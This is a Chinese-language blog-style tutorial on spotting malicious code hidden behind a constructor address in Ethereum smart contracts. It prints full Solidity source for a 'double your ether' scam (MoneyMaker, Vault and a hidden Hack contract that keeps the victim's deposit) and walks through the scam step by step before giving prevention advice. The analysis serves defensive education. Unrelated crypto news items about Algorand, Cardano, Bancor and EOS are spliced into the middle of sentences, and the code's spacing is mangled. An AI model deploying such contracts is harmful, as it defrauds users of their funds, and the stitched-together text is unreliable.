概述
上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。
前置知识
大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:
用户以为的调用路径:
部署合约A传入合约B地址,这样调用路径为正常路径。
实际的调用路径:
Algorand将部署首个抵消碳排放的智能合约:金色财经消息,区块链公司Algorand宣布将部署第一个自动化抵消碳排放的智能合约。该智能合约可自动分配每笔交易费用的一部分,以抵消其碳排放。(PR Newswire)[2022/4/22 14:42:07]
部署合约A传入合约C地址,这样调用路径为非正常路径。
下面我们使用一个简单的例子来分析这个局:
恶意代码
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
Cardano创始人:一旦激活Alonzo硬分叉,用户就可以“运行智能合约”:Cardano(ADA)创始人Charles Hoskinson在他最新的YouTube直播更新中证实:“我们正在按计划进行,Alonzo硬分叉更新也在进行中”。Hoskinson透露,一个平行硬分叉是必需的,它不是按顺序完成的,因为有两个平行轨道同时发生;第一个轨道是硬分叉本身,另一个是围绕这个节点构建基础设施。
Hoskinson称:“我仍然相信,大部分开发基础设施将在8月至9月期间建成。这意味着当硬分叉出现在Cardano基础设施上的时候,你实际上可以运行智能合约,并为Cardano应用程序的开发和部署构建一个越来越好的环境。”(Finbold)[2021/7/31 1:26:48]
局分析
可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:
MoneyMaker合约代表A合约;
动态 | CyberCode Twins 将在奥克兰举行 EOS 智能合约研讨会:据 IMEOS 报道,CyberCode Twins 发推宣布在 EOS 黑客马拉松旧金山站前一天,也就是11 月 9 日将在美国奥克兰举行 EOS 智能合约研讨会,旨在向参会者讲解如何设置开发环境,EOS 智能合约,以及帮助以太坊token 迁移至 EOS 主网的 EOS21 协议。[2018/10/28]
Vault合约代表B合约;
Hack合约代表C合约。
所以用户以为的调用路径为:
MoneyMaker->Vault。
而实际的调用路径为:
MoneyMaker->Hack。
下面我们来看看攻击者如何完成局的:
1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;
分析 | Bancor交易所被盗或因其智能合约可升级:昨日Bancor被盗价值超过1200万美元的代币。据ETHNEWS报道,黑客显然是通过允许Bancor更新智能合约的缺乏抵抗力的钱包来实现的。 Bancor的钱包能够更新智能合约,这一事实本身就是Bancor协议存在争议的一个方面,这是因为区块链技术的一个关键卖点是其不可改变的性质。与此同时,Bancor仍坚持其协议,并赞扬由于其中心化力量,能够节省的1亿美元的BNT。Bancor首席技术官Yudi Levi表示,尽管建立了中心化的控制,该公司仍选择拥有可升级的智能合约,是为了避免像以太坊的DAO黑客这样的危机。Bancor曾迅速删除包含其首席技术官文章的推文。在文章中Levi指出,可升级的智能合约仅在试用阶段存在,然而此次攻击是在其协议发布后一年多后发生的。[2018/7/11]
2.Evil部署Hack(C)恶意合约;
3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;
香港区块链解决方案提供商300cubits完成基于以太坊区块链智能合约的首次货物运输试验:香港区块链解决方案提供商300cubits宣布,已完成基于以太坊区块链智能合约的首次货物运输试验。马来西亚班轮公司West Port和巴西纺织产品进口商LPR参与本次试验。300cubits引入TEU代币,并称之为“航运业的比特币”,作为集装箱运输的订舱保证金,以解决集装箱运输行业存在的“空壳预订”和班轮公司甩舱的问题。[2018/3/20]
4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;
5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。
咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。
预防建议
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。
郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。